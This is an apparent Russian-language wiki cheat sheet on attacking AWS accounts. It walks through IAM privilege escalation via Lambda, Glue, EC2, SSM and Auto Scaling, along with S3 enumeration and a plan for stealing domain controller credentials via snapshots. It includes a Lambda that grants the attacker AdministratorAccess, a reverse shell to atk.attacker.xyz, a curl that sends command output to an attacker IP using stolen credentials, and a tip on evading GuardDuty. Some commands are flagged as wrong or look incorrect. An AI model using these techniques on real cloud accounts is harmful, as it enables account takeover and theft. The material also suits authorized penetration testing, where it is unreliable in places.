=== Роли - управление сервисом ===&lt;br /&gt;
 &lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
Возможность подключить EBS-Volume/Snapshot к EC2-виртуалке.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание Volume из snapshot'а (если требуется подключить snapshot)&lt;br /&gt;
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone&lt;br /&gt;
# Подключение Volume к виртуалке EC2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Далее идем на виртуалку и вводим команды:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Поиск Volume&lt;br /&gt;
lsblk&lt;br /&gt;
# Проверка есть ли на нем данные&lt;br /&gt;
sudo file -s /dev/xvdf&lt;br /&gt;
# форматировать образ под ext4 (если неподходящая файловая система)&lt;br /&gt;
sudo mkfs -t ext4 /dev/xvdf&lt;br /&gt;
# Создаем директорию куда примонтируем позже&lt;br /&gt;
sudo mkdir /tmp/newvolume&lt;br /&gt;
# Монтируем&lt;br /&gt;
sudo mount /dev/xvdf /tmp/newvolume/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Диск будет доступен на /tmp/newvolume.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Lambda ==&lt;br /&gt;
&lt;br /&gt;
Сервис для запуска своего кода в облаке.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:UpdateFunctionCode ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws lambda update-function-code --function-name target_function --zip-file fileb://my/lambda/code/zipped.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== lambda:CreateFunction + lambda:InvokeFunction + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать функцию и прикрепить к ней произвольную роль, после чего запустить.&lt;br /&gt;
&lt;br /&gt;
Код функции:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
import boto3&lt;br /&gt;
def lambda_handler(event, context):&lt;br /&gt;
    client = boto3.client('iam')&lt;br /&gt;
    response = client.attach_user_policy(&lt;br /&gt;
    UserName='my_username',&lt;br /&gt;
    PolicyArn=&amp;quot;arn:aws:iam::aws:policy/AdministratorAccess&amp;quot;&lt;br /&gt;
    )&lt;br /&gt;
    return response&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Команды для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание функции&lt;br /&gt;
aws lambda create-function --function-name my_function --runtime python3.6 --role arn_of_lambda_role --handler lambda_function.lambda_handler --code file://my/python/code.py&lt;br /&gt;
# Запуск&lt;br /&gt;
aws lambda invoke --function-name my_function output.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:GetFunction ====&lt;br /&gt;
&lt;br /&gt;
Также может понадобиться lambda:ListFunctions чтобы не перебирать названия функций.&lt;br /&gt;
&lt;br /&gt;
Позволяет прочитать исходный код функции (в котором например может быть секрет сохранен):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получить список функций&lt;br /&gt;
aws lambda list-functions --profile uploadcreds&lt;br /&gt;
# Получить информацию о Lambda-функции&lt;br /&gt;
aws lambda get-function --function-name &amp;quot;LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY&amp;quot; --query 'Code.Location' --profile uploadcreds&lt;br /&gt;
# Скачать исходный код по ссылке из предыдущего ответа&lt;br /&gt;
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Glue ==&lt;br /&gt;
&lt;br /&gt;
Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== glue:UpdateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# TODO: это не обновление параметров, надо обновить команду&lt;br /&gt;
aws glue --endpoint-name target_endpoint --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== glue:CreateDevEndpoint + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить доступ к ролям, которые прикреплены к любому сервису Glue:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws glue create-dev-endpoint --endpoint-name my_dev_endpoint --role-arn arn_of_glue_service_role --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== S3 ==&lt;br /&gt;
&lt;br /&gt;
Файловое хранилище, доступное по http(s).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{bucket_name}.s3.amazonaws.com&lt;br /&gt;
https://s3.amazonaws.com/{bucket_name}/&lt;br /&gt;
&lt;br /&gt;
# US Standard&lt;br /&gt;
http://s3.amazonaws.com&lt;br /&gt;
# Ireland&lt;br /&gt;
http://s3-eu-west-1.amazonaws.com&lt;br /&gt;
# Northern California&lt;br /&gt;
http://s3-us-west-1.amazonaws.com&lt;br /&gt;
# Singapore&lt;br /&gt;
http://s3-ap-southeast-1.amazonaws.com&lt;br /&gt;
# Tokyo&lt;br /&gt;
http://s3-ap-northeast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Делать запросы можно:&lt;br /&gt;
&lt;br /&gt;
* В браузере - http(s)&lt;br /&gt;
&lt;br /&gt;
* Используя awscli:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В S3 может использоваться шифрование:&lt;br /&gt;
&lt;br /&gt;
* SSE-KMS - Server-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* SSE-C - Server-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
* CSE-KMS - Client-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* CSE-C - Client-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
=== Сбор информации ===&lt;br /&gt;
&lt;br /&gt;
==== Определение региона ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
$ dig flaws.cloud&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
flaws.cloud.    5    IN    A    52.218.192.11&lt;br /&gt;
&lt;br /&gt;
$ nslookup 52.218.192.11&lt;br /&gt;
Non-authoritative answer:&lt;br /&gt;
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# Итоговый URL будет:&lt;br /&gt;
flaws.cloud.s3-website-us-west-2.amazonaws.com&lt;br /&gt;
flaws.cloud.s3-us-west-2.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Если будет некорректный регион - редиректнет на корректный.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Список файлов ====&lt;br /&gt;
&lt;br /&gt;
На S3-Bukket может быть включен листинг директорий, для этого достаточно перейти в браузере на хранилище и посмотреть возвращенный XML.&lt;br /&gt;
&lt;br /&gt;
Список файлов может быть включен отдельно на определенные директории, поэтому может потребоваться брут директорий используя, например, wfuzz (подстрока AccessDenied).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== s3:ListBucket ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список файлов в S3-хранилище:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== s3:ListAllMyBuckets ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список всех S3-хранилищ, доступных мне:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3api list-buckets&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudFront ==&lt;br /&gt;
&lt;br /&gt;
Сервис сети доставки контента (CDN).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.cloudfront.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EC2 (Elastic Compute Cloud) ==&lt;br /&gt;
&lt;br /&gt;
EC2 (Amazon Elastic Compute Cloud) == VPS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Состоит из:&lt;br /&gt;
&lt;br /&gt;
* Instance - название виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* AMI (Amazon Machine Image) - образ виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
ec2-{ip-seperated}.compute-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSM Agent ===&lt;br /&gt;
&lt;br /&gt;
Как уже выше написано, SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
Его тоже можно выбрать целью атаки&lt;br /&gt;
&lt;br /&gt;
==== MITM ====&lt;br /&gt;
&lt;br /&gt;
Есть возможность вклиниваться в общение от SSM-Агента локально.&lt;br /&gt;
&lt;br /&gt;
PoC: https://github.com/Frichetten/ssm-agent-research/tree/main/ssm-session-interception&lt;br /&gt;
&lt;br /&gt;
Полная статья: https://frichetten.com/blog/ssm-agent-tomfoolery/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== ec2:RunInstance + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить существующую роль к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
1. Запуск машины c новой прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
2. Подключение к ней&lt;br /&gt;
&lt;br /&gt;
3. Работа с прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
Создание EC2 с известным SSH-ключем:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key --security-group-ids sg-123456&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Второй вариант - скрипт для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Важно! Может спалиться с GuardDuty когда учетные данные пользователя будут использованы на стороннем инстансе EC2.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:AssociateIamInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
Позволяет менять IAM политики/роли/пользователей&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
См. EBS.&lt;br /&gt;
&lt;br /&gt;
==== ec2:DescribeSnapshots ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть информацию о SnapShot'ах, которые позже мб потребуется прочитать:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws  ec2 describe-snapshots --profile flawscloud --owner-id 975426262029 --region us-west-2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume ====&lt;br /&gt;
&lt;br /&gt;
Прзврояет примаунтить SnapShot, чтобы потом его изучить:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 create-volume --profile YOUR_ACCOUNT --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:* (Копирование EC2) ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скопировать EC2 используя AMI-images:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создаем новый AMI из Instance-ID&lt;br /&gt;
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name &amp;quot;AWS Audit&amp;quot; --description &amp;quot;Export AMI&amp;quot; --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Добавляем наш ключ в систему&lt;br /&gt;
aws ec2 import-key-pair --key-name &amp;quot;AWS Audit&amp;quot; --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Создаем EC2-Instance используя созданный AMI (параметры security group и подсеть оставили те же) &lt;br /&gt;
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids &amp;quot;sg-6d0d7f01&amp;quot; --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name &amp;quot;AWS Audit&amp;quot; --query &amp;quot;Instances[0].InstanceId&amp;quot; --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# Проверяем запустился ли инстанс&lt;br /&gt;
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 &lt;br /&gt;
&lt;br /&gt;
# Не обязательно - редактируем группу инстанса&lt;br /&gt;
aws ec2 modify-instance-attribute --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --groups &amp;quot;sg-6d0d7f01&amp;quot;  --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# В конце работы - останавливаем и удаляем инстанс&lt;br /&gt;
aws ec2 stop-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1 &lt;br /&gt;
aws ec2 terminate-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSerialConsoleSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
В отличие от предыдущего пункта, этот ключ можно использовать только при подключении EC2 Serial Console.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-serial-console-ssh-public-key --instance-id i-001234a4bf70dec41EXAMPLE --serial-port 0 --ssh-public-key file://my_key.pub --region us-east-1&lt;br /&gt;
&lt;br /&gt;
# Подключаемся (кроме GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-east-1.aws&lt;br /&gt;
# Подключаемся (только для GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-gov-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# В некоторых случаях нужно подключиться к EC2 и перезагрузить сервис getty (лучше пробовать только, когда не смогли подключиться)&lt;br /&gt;
sudo systemctl restart serial-getty@ttyS0&lt;br /&gt;
# Если не сработало - мб требуется ребутать сервер.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html&lt;br /&gt;
&lt;br /&gt;
==== ssm:SendCommand ====&lt;br /&gt;
&lt;br /&gt;
Позволяет запускать команды в EC2-Instances. Если нет дополнительных прав, то потребуется:&lt;br /&gt;
&lt;br /&gt;
* Знать Instance-ID, на котором запущен сервис SSM&lt;br /&gt;
&lt;br /&gt;
* Свой сервер, на который будет приходить отстук - результат команды.&lt;br /&gt;
&lt;br /&gt;
Команды для эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию о SSM сервисах - может потребоваться ssm:DescribeInstanceInformation&lt;br /&gt;
aws ssm describe-instance-information --profile stolencreds --region eu-west-1  &lt;br /&gt;
# Выполняем команду&lt;br /&gt;
aws ssm send-command --instance-ids &amp;quot;INSTANCE-ID-HERE&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;IP Config&amp;quot; --parameters commands=ifconfig --output text --query &amp;quot;Command.CommandId&amp;quot; --profile stolencreds&lt;br /&gt;
# Получаем результат команды(может не хватить прав ssm:ListCommandInvocations)&lt;br /&gt;
aws ssm list-command-invocations --command-id &amp;quot;COMMAND-ID-HERE&amp;quot; --details --query &amp;quot;CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}&amp;quot; --profile stolencreds&lt;br /&gt;
&lt;br /&gt;
# Пример - результат команды на удаленный сервер&lt;br /&gt;
$ aws ssm send-command --instance-ids &amp;quot;i-05b████████adaa&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;whoami&amp;quot; --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + Active Directory ====&lt;br /&gt;
&lt;br /&gt;
См. AD.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Auto Scaling (autoscaling) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для масштабирования приложений. Работает преимущественно с EC2, ECS, DynamoDB (таблицы и индексы) и Aurora.&lt;br /&gt;
&lt;br /&gt;
Для работы сервиса требуется:&lt;br /&gt;
&lt;br /&gt;
1. Конфигурация запуска EC2.&lt;br /&gt;
&lt;br /&gt;
2. Конфигурация масштабирования.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Роли - повышение привилегий ==&lt;br /&gt;
&lt;br /&gt;
=== autoscaling:CreateLaunchConfiguration + autoscaling:Create(Update)AutoScalingGroup + iam:PassRole ===&lt;br /&gt;
&lt;br /&gt;
Позволяет создать и запустить конфигурацию масштабирования. &lt;br /&gt;
&lt;br /&gt;
==== Создаем конфигурацию запуска EC2 ====&lt;br /&gt;
&lt;br /&gt;
Для создания требуется:&lt;br /&gt;
&lt;br /&gt;
1. Image-id&lt;br /&gt;
&lt;br /&gt;
2. iam-instance-profile&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Следующая команда создает конфигурацию с командой из файла reverse-shell.sh:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-launch-configuration --launch-configuration-name demo3-LC --image-id ami-0f90b6b11936e1083 --instance-type t1.micro --iam-instance-profile demo-EC2Admin --metadata-options &amp;quot;HttpEndpoint=enabled,HttpTokens=optional&amp;quot; --associate-public-ip-address --user-data=file://reverse-shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример содержимого reverse-shell.sh:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/atk.attacker.xyz/443 0&amp;lt;&amp;amp;1 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Создаем и запускаем группу масштабируемости ====&lt;br /&gt;
&lt;br /&gt;
Привилегия ec2:DescribeSubnets нужна для выбора нужной сети (чтобы EC2 смог сделать reverse-соедиенение к нам).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-auto-scaling-group --auto-scaling-group-name demo3-ASG --launch-configuration-name demo3-LC --min-size 1 --max-size 1 --vpc-zone-identifier &amp;quot;subnet-aaaabbb&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут https://notdodo.medium.com/aws-ec2-auto-scaling-privilege-escalation-d518f8e7f91b&lt;br /&gt;
&lt;br /&gt;
== AD (Directory Service) ==&lt;br /&gt;
&lt;br /&gt;
Второе название - AWS Managed Microsoft Active Directory. Позволяет использовать Active Directory в AWS.&lt;br /&gt;
&lt;br /&gt;
Основные понятия:&lt;br /&gt;
&lt;br /&gt;
* EC2-Instance - VPS на которых крутится весь Active Directory&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + EC2:RunInstance -&amp;gt; ShadowCopy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет провести атаку ShadowCopy на доменный контроллер и считать учетные данные всех пользователей.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Последовательность атаки:&lt;br /&gt;
&lt;br /&gt;
1. Получаем список инстансов&lt;br /&gt;
&lt;br /&gt;
2. Создаем Snapshot выбранного сервера&lt;br /&gt;
&lt;br /&gt;
3. Редактируем атрибуты у SnapShot для доступа с аккаунта атакующего. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 modify-snapshot-attribute --snapshot-id snap-1234567890abcdef0 --attribute createVolumePermission  --operation-type remove --user-ids 123456789012&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Переключаемся на аккаунт атакующего&lt;br /&gt;
&lt;br /&gt;
